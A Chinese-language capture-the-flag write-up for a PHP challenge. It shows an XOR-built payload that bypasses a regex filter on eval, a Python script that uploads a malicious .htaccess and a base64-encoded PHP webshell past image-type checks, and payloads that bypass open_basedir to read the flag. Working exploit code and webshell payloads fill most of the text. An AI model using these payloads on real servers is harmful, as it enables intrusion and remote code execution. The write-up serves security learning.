0x00 前言
考察知識點:
- php正則繞過(參考文章:https://blog.csdn.net/mochu7777777/article/details/104631142)
- 文件上傳木馬繞過'<?'以及'exif_imagetype()'
- '<?'的繞過:PHP5.x版本中可以使用
<script language='php'>eval($_REQUEST['shell']);</script>
來繞過。 - 配合.htaccess文件利用base64編碼進行繞過(具體使用見解題過程)。
- exif_imagetype()繞過:
- 使用GIF89a文件頭:
但是注意一點,如果要上傳.htaccess文件繞過檢測的話,使用GIF89a的文件頭會導致.htaccess文件無法生效。#shell.php GIF89a <?php eval($_REQUEST['shell']);?>
- 預定義高度寬度:
這種方法可以讓.htaccess文件生效,因為'#'號在.htaccess文件中是注釋符,不影響文件本身內容解析。#define width 1337 #define height 1337 文件內容---
- 利用
x00x00x8ax39x8ax39
:x00x00x8ax30x8ax39
是wbmp文件的文件頭,0x00在.htaccess文件中同樣也是注釋符,不會影響文件本身。使用十六進制編輯器或者python的bytes字符類型(b'')來進行添加。payload:shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00" + '文件內容'
- '<?'的繞過:PHP5.x版本中可以使用
- bypass open_basedir:
- open_basedir 將PHP所能打開的文件限制在指定的目錄樹中,包括文件本身。當程序要使用例如fopen()或file_get_contents()打開一個文件時,這個文件的位置將會被檢查。當文件在指定的目錄樹之外,程序將拒絕打開。
- 繞過:https://xz.aliyun.com/t/4720
payload=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));
0x01 解題
- buuoj上進入題目直接給了源碼:
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
接受GET方式傳入的_參數,經過正則匹配之后eval執行。並且給了一個
get_the_flag()函數,主要功能是接受上傳的文件經過檢測之后輸出文件路徑。
- 先嘗試繞過正則匹配,可以寫一個php腳本來看看哪些字符可以利用:
<?php
for($test=0;$test<256;$test++){
if(!preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($test))){
echo bin2hex(chr($test)).'';
}
}
?>
#運行結果:21 23 24 25 28 29 2a 2b 2d 2f 3a 3b 3c 3e 3f 40 5c 5d 5e 7b 7d 80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff
那么就利用這些字符來進行異或,拼接出shell
payload=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
%ff%ff%ff%ff^%a0%b8%ba%ab //異或結果為$_GET,{$_GET}{%ff}
payload可以使用
- 調用get_the_flag()函數,傳入木馬。
- python的requests發送/上傳多個文件:https://blog.csdn.net/five3/article/details/74913742
函數源碼如下:
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
接受我們傳入的文件,會檢測文件后綴名是否以ph開頭,然后進一步檢測文件中是否含有'<?',最后使用exif_imagetype()函數進一步過濾。
- 繞過:配合.htaccess文件進行base64編碼繞過。下面直接給出我的exp:
import requests
import base64
url = 'http://630ed89b-d10c-450e-a051-faa2a98a9c14.node3.buuoj.cn/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag'
htaccess='''#define width 1337
#define height 1337
AddType application/x-httpd-php .ha
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_adeee0c170ad4ffb110df0cde294aecd/shell.ha"'''
files = {
'file' : ('.htaccess',htaccess,'image/jpeg'),
}
res = requests.post(url=url,files=files)
print(res.text)
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_POST['shell']);?>") //GIF89a12里的12是為了符合base64解碼規范而添加的
#shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_POST['shell']);?>")
files2 = {
'file' : ('shell.ha',shell,'image/jpeg'),
}
res = requests.post(url=url,files=files2)
print(res.text)
利用.htaccess文件將.ha后綴名的文件解析為php,本題php環境為7.2,所以無法使用<script language='php'>eval($_REQUEST['shell']);</script>
這條payload,所以將shell.ha進行base64編碼之后,在.htaccess文件中利用filter://協議將文件解碼,從而達到傳入shell的目的。
- 拿到文件路徑:
訪問shell.ha
可以看到,shell已經成功執行,蟻劍連接:
提示根目錄下無權訪問,看一下phpinfo()里的open_basedir:
利用之前的bypass open_basedir的payload,查看根目錄下的文件:
獲得flag:
payload1:shell=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));
payload2:shell=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print(readfile('/THis_Is_tHe_F14g'));
0x02 非預期解
- 利用蟻劍的bypass disable_functions插件
- 在phpinfo中可以看到禁用了許多函數:
這也就是為什么我們第一步要調用get_the_flag()函數的原因。
- 蟻劍連接上shell之后,使用蟻劍的插件(需要在插件市場里下載):
點擊開始,打開虛擬終端,直接讀取flag: